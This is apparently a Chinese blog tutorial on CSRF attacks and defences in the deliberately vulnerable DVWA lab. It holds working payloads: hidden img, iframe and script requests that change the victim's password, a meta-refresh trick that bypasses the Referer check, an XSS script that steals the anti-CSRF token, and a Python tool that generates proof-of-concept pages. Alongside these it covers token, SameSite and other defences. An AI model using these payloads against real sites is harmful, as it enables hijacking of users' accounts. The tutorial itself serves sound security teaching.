DVWA CSRF实战:从漏洞利用到Token防御的攻防演练

发布时间:2026/7/4 17:22:42
DVWA CSRF实战:从漏洞利用到Token防御的攻防演练 1. 项目概述为什么DVWA的CSRF模块是绝佳的实战沙盒如果你刚接触Web安全或者想找一个地方把CSRF跨站请求伪造这个听起来有点绕的概念彻底搞明白那DVWA的CSRF模块绝对是你绕不开的“新手村”和“进阶道场”。我刚开始学安全那会儿看理论总觉得CSRF不就是“借刀杀人”嘛但真上手去构造一个攻击请求或者去理解服务器到底是怎么防御的脑子里还是一团浆糊。直到在DVWA里从Low级别一路“打”到High才真正把“请求伪造”、“同源策略”、“Token验证”这些知识点给串了起来。DVWA这个故意设计得漏洞百出的Web应用它的CSRF模块就像一个精心设计的教学关卡。从最基础的、毫无防护的Low级别到引入了简单Referer检查的Medium再到部署了高强度Anti-CSRF Token的High级别它完整地模拟了一个Web应用安全加固的演进过程。我们的目标很明确作为攻击者我们得想办法“绕过”或“突破”每一层的防御而在这个过程中我们更能深刻地理解作为一个开发者应该如何去“构建”这些防御。这不仅仅是“攻”与“防”的对立更是一个从内部理解安全机制的最佳路径。接下来我就带你从最原始的漏洞利用开始一步步拆解这些防御措施的原理和弱点最终实现高级别的突破。你会发现很多看似坚固的防御在理解了其运作机制后都能找到那条细微的裂缝。2. 环境准备与靶场搭建要点工欲善其事必先利其器。在开始我们的CSRF实战之旅前一个稳定、隔离的测试环境是首要条件。我强烈建议你不要在生产环境或者任何有真实数据的服务器上操作。最稳妥的方案是使用虚拟机。2.1 本地化部署DVWA我个人的习惯是在本地用虚拟机搭建测试环境这样网络延迟低配置也完全自主可控。常用的组合是VirtualBox Ubuntu Server LTS。在虚拟机里你需要安装LAMPLinux, Apache, MySQL, PHP栈。以Ubuntu为例通过几条命令就能搞定sudo apt update sudo apt install apache2 mysql-server php libapache2-mod-php php-mysql安装完成后去DVWA的官方GitHub仓库下载最新源码解压到Apache的Web根目录通常是/var/www/html/下。接着你需要配置MySQL数据库。登录MySQL为DVWA创建一个专用的数据库和用户CREATE DATABASE dvwa; CREATE USER dvwa_userlocalhost IDENTIFIED BY your_strong_password_here; GRANT ALL PRIVILEGES ON dvwa.* TO dvwa_userlocalhost; FLUSH PRIVILEGES;然后找到DVWA目录下的config/config.inc.php.dist文件复制一份并重命名为config.inc.php。用编辑器打开这个新文件找到数据库配置部分填入你刚才创建的数据库名、用户名和密码。$_DVWA[ db_server ] 127.0.0.1; $_DVWA[ db_database ] dvwa; $_DVWA[ db_user ] dvwa_user; $_DVWA[ db_password ] your_strong_password_here;注意很多新手在这一步会卡住常见问题是文件权限不对导致Apache无法读取配置文件或者PHP的某些扩展如gd、mysqli没安装。在浏览器中访问DVWA的安装页面http://your-vm-ip/dvwa/setup.php时它会清晰地列出所有待解决的问题按照提示逐一解决即可。2.2 安全等级设置与核心页面解析成功安装后用默认账号admin/password登录。进入DVWA后第一件事就是把左侧的“DVWA Security”等级调到“Low”。这是我们所有攻击测试的起点。务必确保你操作的是自己搭建的靶场并且理解后续所有操作的法律和道德边界——仅在授权的测试环境中进行。CSRF模块的入口在左侧菜单的“CSRF”项。点进去你会看到一个非常简单的密码修改表单。这个页面就是我们整个实战的“战场”。它的核心功能是允许用户修改自己的密码需要提交旧密码和新密码。在Low级别下它的HTML表单大概长这样form action# methodGET New password:br input typepassword AUTOCOMPLETEoff namepassword_newbr Confirm new password:br input typepassword AUTOCOMPLETEoff namepassword_confbr input typesubmit valueChange nameChange /form请特别注意这个表单使用的是GET方法并且没有包含任何CSRF Token。这是一个非常典型的、存在CSRF漏洞的端点特征。攻击者可以轻易地预测并伪造这个请求。我们的攻击思路就是诱使已经登录了DVWA即拥有有效会话的用户在不知情的情况下访问一个我们精心构造的URL这个URL会向这个修改密码的接口发起请求从而在用户无感知的情况下修改其密码。3. Low级别理解最原始的CSRF漏洞形态Low级别移除了所有服务端的CSRF防护为我们展示了漏洞最纯粹、最危险的模样。这里没有Token没有Referer检查请求参数直接暴露在URL中。理解这一层是理解所有高级攻击和防御的基础。3.1 漏洞原理与手动利用在Low级别下当我们提交修改密码的表单后观察浏览器的地址栏你会发现URL变成了类似这样的结构http://your-dvwa-ip/dvwa/vulnerabilities/csrf/?password_newhackedpassword_confhackedChangeChange#关键信息一目了然password_new和password_conf参数直接附在URL后面。这意味着任何人只要让已登录的用户访问这个完整的URL用户的密码就会被修改为“hacked”。这就是CSRF攻击的核心利用用户浏览器中已有的身份认证Cookie代替用户发起一个非本意的请求。手动验证这个漏洞非常简单。你可以打开一个全新的浏览器隐私窗口确保没有DVWA的登录会话先正常登录DVWA。然后不要关闭这个标签页在同一个浏览器的地址栏里直接粘贴上面那个包含password_newhacked的完整URL并访问。你会发现密码修改成功了即使这个请求是从地址栏手动发起的浏览器也会自动携带当前域名下的Cookie服务器无法区分这是用户的主动操作还是恶意诱导的请求。3.2 构造恶意页面与攻击模拟在实际攻击中攻击者当然不会让用户去手动输入URL。更隐蔽的方式是构造一个恶意网页。这个网页可以托管在任何地方甚至是一个看起来无害的博客、论坛帖子里的图片链接。我们创建一个简单的HTML文件!DOCTYPE html html head title快来抽奖/title /head body h1恭喜您中奖了/h1 p点击下方链接领取您的奖品/p !-- 方式1图片标签自动触发GET请求 -- img srchttp://your-dvwa-ip/dvwa/vulnerabilities/csrf/?password_newattacker_winspassword_confattacker_winsChangeChange width0 height0 border0 p或者查看您的获奖详情/p !-- 方式2隐藏的iframe -- iframe srchttp://your-dvwa-ip/dvwa/vulnerabilities/csrf/?password_newiframe_hackpassword_confiframe_hackChangeChange styledisplay:none;/iframe p再或者这里有一个有趣的视频/p !-- 方式3脚本自动跳转 -- script window.onload function() { setTimeout(function() { window.location.href http://your-dvwa-ip/dvwa/vulnerabilities/csrf/?password_newscript_hackpassword_confscript_hackChangeChange; }, 3000); }; /script /body /html攻击过程还原假设用户已经登录了DVWA会话Cookie有效。然后他收到了一个钓鱼邮件点开了这个“抽奖”页面。页面加载时img标签的src属性会立即向DVWA的CSRF接口发起一个GET请求试图将密码改为“attacker_wins”。即使图片显示为0像素请求依然会发送。隐藏的iframe也会加载并发送请求。3秒后JavaScript脚本会控制浏览器直接跳转到攻击URL。只要用户浏览器持有有效的DVWA会话Cookie这些请求都会被服务器视为合法操作。这就是Low级别CSRF的可怕之处完全依赖浏览器自动携带Cookie的机制而服务器不做任何请求来源的校验。实操心得在测试时你可以用Python的http.server模块快速在本地起一个Web服务来托管这个恶意HTML文件python3 -m http.server 8000然后用已登录DVWA的浏览器访问http://localhost:8000/malicious.html观察密码是否被修改。这个过程能让你真切体会到CSRF攻击的隐蔽性和自动化。4. Medium级别初探防御与Referer校验绕过到了Medium级别DVWA引入了一层基础的防御检查HTTP请求头中的Referer字段。Referer注意拼写错误但标准如此头包含了当前请求是从哪个页面链接过来的。服务器的逻辑是如果修改密码的请求不是从DVWA自己的域名下的页面发起的就拒绝执行。4.1 服务器端防御逻辑分析我们来看一下DVWA Medium级别CSRF模块的PHP源码通常位于dvwa/vulnerabilities/csrf/source/medium.php的核心逻辑if( stripos( $_SERVER[ HTTP_REFERER ] , $_SERVER[ SERVER_NAME ] ) ! false ) { // 校验通过执行密码修改逻辑 } else { // 校验失败抛出错误信息 echo “preReferer check failed./pre”; }这段代码使用stripos函数检查HTTP_REFERER中是否包含服务器的名称SERVER_NAME例如192.168.1.100或dvwa.test。如果包含则认为请求来源可信。这是一个非常常见但也很脆弱的防御手段。4.2 多种绕过手法实战这种基于字符串匹配的检查存在多种绕过方式手法一利用空Referer或缺失RefererReferer头是由浏览器发送的但并非所有请求都会包含它。例如当用户直接在地址栏输入URL并回车时。当请求来源于浏览器收藏夹。当请求来源于一个使用meta标签刷新或跳转的页面时某些浏览器的旧版本。当请求来源于一个使用data:协议的URL时。我们可以构造一个使用meta标签进行跳转的页面!DOCTYPE html html head title跳转中.../title meta http-equivrefresh content0; urlhttp://your-dvwa-ip/dvwa/vulnerabilities/csrf/?password_newbypass1password_confbypass1ChangeChange /head body 页面即将跳转... /body /html当浏览器加载这个页面时会立即跳转到攻击URL。在某些浏览器和配置下这种由meta刷新触发的跳转其请求的Referer头可能为空或为当前页面的data:源从而绕过检查。手法二构造包含服务器名的Referer既然检查的是Referer中是否包含服务器名那我们就可以构造一个Referer使其包含目标域名但实际指向我们控制的恶意页面。这需要攻击者能够设置或影响请求的Referer头。一种方法是利用某些URL跳转或重定向服务。更直接的方法是如果我们能控制目标站点的某个子域名或者找到一个允许用户自定义内容且该内容会影响Referer的页面比如某些论坛的个人资料页URL会包含用户名就可以尝试构造。但更通用和强大的方法是利用前端技术伪造请求。既然GET请求容易被Referer检查拦截我们可以尝试将攻击升级为POST请求。虽然DVWA的CSRF表单在Medium级别仍然是GET但我们可以通过JavaScript自主构造一个POST请求并尝试控制其请求头。手法三通过JavaScript发起Fetch/XMLHttpRequest请求并尝试篡改Referer现代浏览器出于安全考虑严格限制了前端JavaScript对某些敏感请求头如Origin,Host,Referer的修改但仍有尝试空间。我们可以创建一个恶意页面尝试发送POST请求script // 尝试创建一个表单并自动提交POST请求的Referer通常是发送页面的URL document.addEventListener(DOMContentLoaded, function() { var form document.createElement(form); form.action http://your-dvwa-ip/dvwa/vulnerabilities/csrf/; form.method POST; var input1 document.createElement(input); input1.type hidden; input1.name password_new; input1.value js_post_hack; var input2 document.createElement(input); input2.type hidden; input2.name password_conf; input2.value js_post_hack; var input3 document.createElement(input); input3.type hidden; input3.name Change; input3.value Change; form.appendChild(input1); form.appendChild(input2); form.appendChild(input3); document.body.appendChild(form); form.submit(); }); /script然而对于DVWA的Medium级别其CSRF端点可能只接受GET请求提交POST会返回错误。因此更可行的绕过方式还是针对其GET接口和Referer检查的弱点。手法四最可靠的绕过——利用服务器名解析缺陷经过测试DVWA Medium级别的Referer检查有一个经典漏洞它使用$_SERVER[SERVER_NAME]来获取服务器名。这个变量的值取决于Apache的配置文件如ServerName指令。如果配置不当或者我们通过某种方式如修改本地hosts文件将某个域名解析到DVWA服务器的IP那么SERVER_NAME可能就不是我们直接访问用的IP。例如你通过http://192.168.1.100/dvwa访问SERVER_NAME是192.168.1.100。但如果你在本地hosts文件里添加一行127.0.0.1 dvwa.local然后通过http://dvwa.local/dvwa访问SERVER_NAME就变成了dvwa.local。此时检查Referer是否包含dvwa.local。如果我们构造的攻击页面URL也包含dvwa.local这个字符串就有可能绕过检查。例如将恶意页面托管在一个我们可控的域名下比如http://attacker.com/dvwa.local.html然后诱使用户点击http://attacker.com/dvwa.local.html?redirecthttp://dvwa.local/dvwa/vulnerabilities/csrf/...。虽然Referer是http://attacker.com/dvwa.local.html但它包含了dvwa.local字符串可能匹配成功。注意事项这种绕过手法的成功率高度依赖于目标服务器的具体配置和检查逻辑的严谨性。在实战中需要仔细分析Referer检查的代码如果可能并进行多次测试。它揭示了基于黑名单或简单字符串匹配的Referer检查是极不可靠的。5. High级别直面Token防御体系与突破思路High级别代表了当前业界推荐的、较强的CSRF防御方案使用Anti-CSRF Token反CSRF令牌。这是一种同步令牌模式要求每个敏感操作的请求都必须携带一个服务器生成的、不可预测的、与用户会话绑定的Token。服务器在处理请求前会校验这个Token的有效性。5.1 Token机制深度解析在DVWA High级别下查看页面源代码你会发现表单里多了一个隐藏的输入域input typehidden nameuser_token valuea1b2c3d4e5f67890...一串长哈希值 /同时在URL中也会看到一个类似的user_token参数。这个Token是如何工作的呢生成当用户访问CSRF页面时服务器端PHP脚本会生成一个随机Token通常基于时间、会话ID和随机数进行哈希并将其存储在服务器的当前用户会话$_SESSION中同时也输出到页面的表单和URL里。携带当用户提交修改密码的请求时无论是GET还是POST这个Token必须作为参数一同发送到服务器。验证服务器收到请求后会从请求参数中取出Token并与当前会话中存储的Token进行比较。如果一致则请求合法如果不一致或缺失则拒绝执行。这样一来攻击者无法提前获知这个Token因为它是随机的、会话相关的因此无法构造出合法的请求URL。这构成了CSRF防御的核心壁垒。5.2 高级突破当Token并非无懈可击面对Token直接的猜测或爆破基本不可能。我们的攻击思路必须转变如何让受害者的浏览器“帮”我们获取到有效的Token并“帮”我们完成包含该Token的请求这通常需要结合其他漏洞进行“组合拳”攻击。思路一利用XSS漏洞窃取Token如果目标网站同时存在XSS跨站脚本漏洞那么CSRF的Token防御将形同虚设。攻击者可以注入恶意JavaScript脚本该脚本运行在受害者的浏览器上下文里可以轻松读取页面中的Token因为Token就明文存在于DOM中然后动态构造一个合法的请求发送出去。假设DVWA的另一个模块如XSS模块存在存储型XSS攻击者可以注入如下脚本script var token document.querySelector(input[name\user_token\]).value; var newPassword hacked_via_xss; var attackUrl /dvwa/vulnerabilities/csrf/?password_new newPassword password_conf newPassword user_token token ChangeChange; // 方式1通过Image对象发起GET请求 new Image().src attackUrl; // 方式2通过Fetch API发起请求更灵活 fetch(attackUrl).then(response console.log(攻击可能已发起)); /script当受害者浏览到被注入了该脚本的页面时脚本会自动执行窃取当前页面的CSRF Token如果当前页面是CSRF页面或者通过Ajax去CSRF页面获取Token然后自动发起攻击请求。这揭示了安全中的一个重要原则防御措施需要全面一个短板XSS就可能导致其他防御CSRF Token失效。思路二利用界面操作诱导ClickjackingClickjacking点击劫持不直接获取Token而是通过视觉欺骗让用户在不知情的情况下“亲手”触发操作。攻击者构造一个恶意页面使用iframe透明层覆盖在目标网站DVWA的CSRF页面之上。恶意页面上有一个诱人的按钮如“点击赢大奖”其位置与iframe中DVWA页面的“Change”按钮完全重合。当用户点击这个诱人按钮时实际上点击的是被隐藏的DVWA页面上的提交按钮。由于操作是用户在真实会话中亲手完成的所以请求中自然会包含当前有效的Token。这种攻击方式完全绕过了对Token的获取需求因为它利用了用户的合法交互。思路三逻辑缺陷与Token泄露如果应用程序存在逻辑缺陷导致Token被泄露也会造成严重问题。例如Token生成算法可预测如果Token是基于时间戳的简单哈希且熵随机性不足攻击者有可能预测出下一个Token。Token泄露在日志或错误信息中应用程序错误地将Token记录到日志或显示在错误信息里被攻击者获取。Token未绑定会话或过期时间过长Token与用户会话绑定不严格或者有效期过长增加了被截获和重放的风险。对于DVWA High级别为了教学目的其Token机制相对标准上述逻辑缺陷可能不存在。但在真实黑盒测试中这些是需要考虑的攻击面。实操心得在测试High级别时单纯从CSRF模块正面突破是非常困难的。这迫使我们将视野扩大到整个应用。安全测试中交叉漏洞测试至关重要。永远不要孤立地看待一个漏洞。尝试将CSRF模块与XSS、文件包含、信息泄露等模块结合起来思考往往会发现意想不到的攻击路径。这也是为什么综合性靶场如DVWA如此有价值的原因。6. 从攻击者到防御者构建健壮的CSRF防护体系经历了从Low到High的突破我们站在了攻击者的视角理解了CSRF的威胁。现在让我们切换身份作为一名开发者或安全工程师思考如何构建真正有效的防御。6.1 同步令牌模式的正确实现Anti-CSRF Token是目前最有效的防御手段但实现不当仍会留下隐患。一个健壮的Token系统应遵循以下原则高强度随机性Token必须是密码学安全的随机数长度足够如32字节以上防止被爆破或预测。可以使用random_bytes()或openssl_random_pseudo_bytes()等函数生成。会话绑定Token必须与用户会话IDSession ID强关联。通常存储在$_SESSION中。验证时必须比对请求中的Token和会话中存储的Token。一次性使用每个Token应在使用后立即失效即从会话中移除并生成新的Token。这可以防止重放攻击。对于某些敏感操作如支付必须强制使用一次性Token。同源绑定可选但推荐除了会话绑定还可以将Token与请求的源Origin或目标提交到的URL进行绑定增加攻击难度。安全存储与传输Token应通过安全的方式传输给客户端如放在隐藏表单域或自定义HTTP头中避免通过URL参数传递以防泄露在Referer或浏览器历史中。在客户端应避免将其存储在Cookie或LocalStorage中以防被其他脚本窃取。一个简单的PHP实现示例// 生成Token function generateCsrfToken() { if (empty($_SESSION[csrf_token])) { $_SESSION[csrf_token] bin2hex(random_bytes(32)); } return $_SESSION[csrf_token]; } // 在表单中输出Token echo ‘input type“hidden” name“csrf_token” value“’ . htmlspecialchars(generateCsrfToken()) . ‘“ /’; // 验证Token function verifyCsrfToken($requestToken) { if (!isset($_SESSION[csrf_token]) || !hash_equals($_SESSION[csrf_token], $requestToken)) { // 验证失败记录日志并终止请求 error_log(“CSRF token validation failed.”); http_response_code(403); die(‘Invalid CSRF token.’); } // 验证成功使当前Token失效一次性使用 unset($_SESSION[csrf_token’]); } // 在处理请求的脚本开头调用验证 verifyCsrfToken($_POST[csrf_token] ?? “);6.2 深度防御多层防护策略单一依赖Token并非万全之策。应采用深度防御策略叠加多层防护验证请求来源Origin/Referer作为辅助手段服务器可以检查Origin或Referer头确保请求来自预期的源自己的域名。Origin头比Referer更可靠因为它不会包含完整的路径信息隐私性更好且在一些场景下如从HTTPS到HTTP浏览器不会发送Referer。但需注意在某些合法场景下如从本地文件打开这些头可能为空需要设置白名单或降级策略。关键操作使用二次确认对于修改密码、转账、删除数据等敏感操作要求用户进行二次确认例如输入登录密码、验证码或进行生物识别。这虽然不是纯粹的CSRF防御但能有效增加攻击门槛。区分请求方法遵循RESTful规范对数据的修改操作POST, PUT, DELETE使用非GET方法。虽然CSRF攻击也可以伪造POST请求通过构造表单但相比GET请求其利用难度稍高且浏览器对某些场景下的跨域POST请求有更严格的限制如简单请求与非简单请求的CORS策略。使用SameSite Cookie属性为会话Cookie设置SameSiteStrict或SameSiteLax属性。Strict模式最安全完全禁止第三方上下文携带CookieLax模式则允许在顶级导航如点击链接时携带Cookie但在跨站提交表单或通过脚本加载资源时禁止。这可以从浏览器层面极大地限制CSRF攻击的发生。这是现代浏览器提供的一项非常重要的原生防御机制。实施自定义请求头对于通过Ajax/Fetch API发起的敏感请求可以要求携带一个自定义的HTTP头如X-Requested-With: XMLHttpRequest。因为浏览器在发起跨域请求时默认不允许前端JavaScript添加自定义头非简单请求会触发预检OPTIONS请求这可以作为一道额外的防线。但注意如果攻击者能发起跨域请求例如通过一个允许CORS的接口此方法可能失效。6.3 安全开发流程与自动化检测防御CSRF不应只是开发末期的工作而应融入整个开发流程框架内置防护优先使用成熟的安全框架如Spring Security, Django, Laravel等它们通常内置了开箱即用、经过充分测试的CSRF防护机制避免自己重复造轮子且引入漏洞。安全编码规范在团队中建立安全编码规范明确要求对所有可能改变状态的端点非幂等操作实施CSRF防护。自动化安全测试将CSRF漏洞扫描纳入CI/CD流程。可以使用OWASP ZAP、Burp Suite等工具的自动化扫描功能或集成像csurfNode.js这类中间件的测试模式定期对应用进行检测。代码审计与渗透测试定期进行人工代码审计和渗透测试特别是对自定义实现的Token逻辑、敏感接口的访问控制进行重点审查。7. 实战演练构建一个自动化的CSRF测试工具理解了原理和手法我们可以尝试用Python编写一个简单的脚本来辅助我们进行CSRF漏洞的探测和验证。这个工具不是为了发起恶意攻击而是为了在授权测试中提高效率。7.1 工具设计思路我们的工具需要完成以下功能爬取目标表单自动识别页面中的表单特别是那些可能执行敏感操作如修改密码、发表评论、转账的表单。分析表单属性提取表单的action目标URL、methodGET/POST、以及所有输入字段包括隐藏的Token字段。检测防护措施检查表单中是否存在CSRF Token字段常见的名称如csrf_token,authenticity_token,_token等检查页面是否设置了SameSiteCookie属性。生成测试用例根据有无Token生成不同的测试Payload或攻击模拟页面。发送测试请求模拟浏览器行为携带有效的会话Cookie需要手动提供或通过登录获取发送构造的请求并根据响应判断攻击是否可能成功。7.2 核心代码实现示例以下是一个高度简化的概念验证代码展示了核心思路import requests from bs4 import BeautifulSoup import sys class SimpleCSRFTester: def __init__(self, base_url, session_cookie): self.base_url base_url.rstrip(‘/’) self.session requests.Session() # 手动设置从浏览器中复制的会话Cookie self.session.headers.update({‘Cookie’: session_cookie}) def fetch_and_analyze_form(self, page_path): 获取页面并分析表单 url f“{self.base_url}{page_path}” try: resp self.session.get(url) resp.raise_for_status() soup BeautifulSoup(resp.text, ‘html.parser’) forms soup.find_all(‘form’) if not forms: print(f“[!] 在 {url} 未找到表单。”) return None for i, form in enumerate(forms): print(f“\n[] 发现表单 #{i1}”) action form.get(‘action’, ‘‘) or url # 处理相对路径或空action method form.get(‘method’, ‘get’).upper() print(f“ Action: {action}”) print(f“ Method: {method}”) inputs form.find_all(‘input’) input_data {} has_csrf_token False csrf_token_name None for inp in inputs: inp_name inp.get(‘name’) inp_type inp.get(‘type’, ‘text’) inp_value inp.get(‘value’, ‘‘) if inp_name: print(f“ 输入字段: name‘{inp_name}’, type‘{inp_type}’, value‘{inp_value}’”) input_data[inp_name] inp_value # 简单检测CSRF Token字段名 if any(token_keyword in inp_name.lower() for token_keyword in [‘csrf’, ‘token’, ‘authenticity’, ‘_token’]): has_csrf_token True csrf_token_name inp_name print(f“ [*] 疑似CSRF Token字段: {inp_name}”) # 分析结果 if has_csrf_token: print(f“ [结论] 该表单可能受到CSRF Token保护。Token字段为: ‘{csrf_token_name}’。”) print(“ 绕过难度高。需要结合XSS窃取Token或利用逻辑缺陷。”) else: print(f“ [结论] 该表单未发现明显的CSRF Token字段。”) print(“ 存在CSRF风险。可尝试构造恶意请求。”) # 这里可以进一步生成攻击测试代码 self._generate_poc(url, method, input_data) except requests.exceptions.RequestException as e: print(f“[!] 请求失败: {e}”) return None def _generate_poc(self, url, method, base_data): 生成概念验证的HTML代码片段 print(“\n[] 生成简易PoC (Proof of Concept) HTML代码片段:”) print(“!-— 将以下代码保存为HTML文件诱使已登录用户访问 —-“) print(“htmlbody”) if method ‘GET’: # 构造GET请求的URL param_list [f“{k}{v}” for k, v in base_data.items() if v] # 假设我们要修改密码字段 attack_params param_list.copy() # 找到密码字段并替换为攻击值 for key in [‘password_new’, ‘password_conf’, ‘new_password’]: if key in attack_params: # 这里只是示例实际需要更智能的替换 attack_params [p if not p.startswith(key’’) else f“{key}hacked_password” for p in attack_params] attack_url f“{url}?{‘’.join(attack_params)}” print(f“img src\”{attack_url}\” width\”0\” height\”0\” /”) print(f“!-— 或使用iframe —-“) print(f“iframe src\”{attack_url}\” style\”display:none;\”/iframe”) else: # POST print(f“form id\”attackForm\” action\”{url}\” method\”POST\””) for name, value in base_data.items(): # 同样替换敏感字段值 attack_value ‘hacked_password’ if ‘password’ in name.lower() else value print(f“ input type\”hidden\” name\”{name}\” value\”{attack_value}\” /”) print(“/form”) print(“scriptdocument.getElementById(‘attackForm’).submit();/script”) print(“/body/html”) print(“!-— 注意此代码仅为教学演示请在授权环境中测试 —-“) # 使用示例 if __name__ “__main__”: if len(sys.argv) 3: print(“用法: python csrf_tester.py 靶场基础URL 会话Cookie 表单页面路径”) print(“示例: python csrf_tester.py http://192.168.1.100/dvwa \”PHPSESSIDabc123...\” /vulnerabilities/csrf/”) sys.exit(1) base_url sys.argv[1] cookie sys.argv[2] page_path sys.argv[3] if len(sys.argv) 3 else “/” tester SimpleCSRFTester(base_url, cookie) tester.fetch_and_analyze_form(page_path)7.3 工具使用与注意事项获取会话Cookie你需要先手动登录DVWA然后从浏览器的开发者工具F12 - Network或Application - Cookies中复制出会话Cookie如PHPSESSID的值。运行工具python csrf_tester.py “http://your-dvwa-ip/dvwa” “PHPSESSID你的会话ID” “/vulnerabilities/csrf/”结果解读工具会输出表单详情并判断是否存在CSRF Token。对于无Token的表单它会生成一个简单的PoC HTML代码。请务必仅在你自己控制的、授权的测试环境中使用此工具。注意事项这个工具非常基础仅用于演示思路。真实的CSRF扫描器要复杂得多需要处理JavaScript渲染的表单、复杂的单页应用SPA、验证码、多步操作流程等。在专业测试中更推荐使用Burp Suite的CSRF PoC生成器或定制宏Macros来辅助测试。8. 总结与延伸思考通过DVWA这个微观战场我们从毫无防护的Low级别一路攻坚到拥有Token防御的High级别不仅实践了多种绕过技巧更重要的是理解了每一种防御措施背后的原理和潜在弱点。CSRF攻击的本质是信任问题——服务器过度信任了由浏览器自动发起的、携带了合法Cookie的请求。作为防御者我们的核心任务是建立不可伪造的请求凭证Token并验证请求的意图是否真正来自用户。Anti-CSRF Token是基石但必须正确实现高强度随机、会话绑定、一次性使用。SameSiteCookie属性是现代Web应用必须利用的浏览器原生安全特性。Origin/Referer检查可以作为有益的补充但绝不能作为唯一依赖。同时我们必须意识到安全是一个整体。一个坚固的CSRF防御可能因为一个XSS漏洞而土崩瓦解。因此安全的思维方式应该是立体的、联动的。在代码审计和渗透测试时要习惯性地思考这里发现的漏洞能否与其他漏洞串联形成更大的攻击链最后技术防御之外安全意识教育同样重要。让用户警惕不明链接、养成操作完成后及时登出的习惯、对敏感操作使用二次验证这些“人”的环节同样是防御体系中不可或缺的一环。CSRF之战既是技术之战也是意识之战。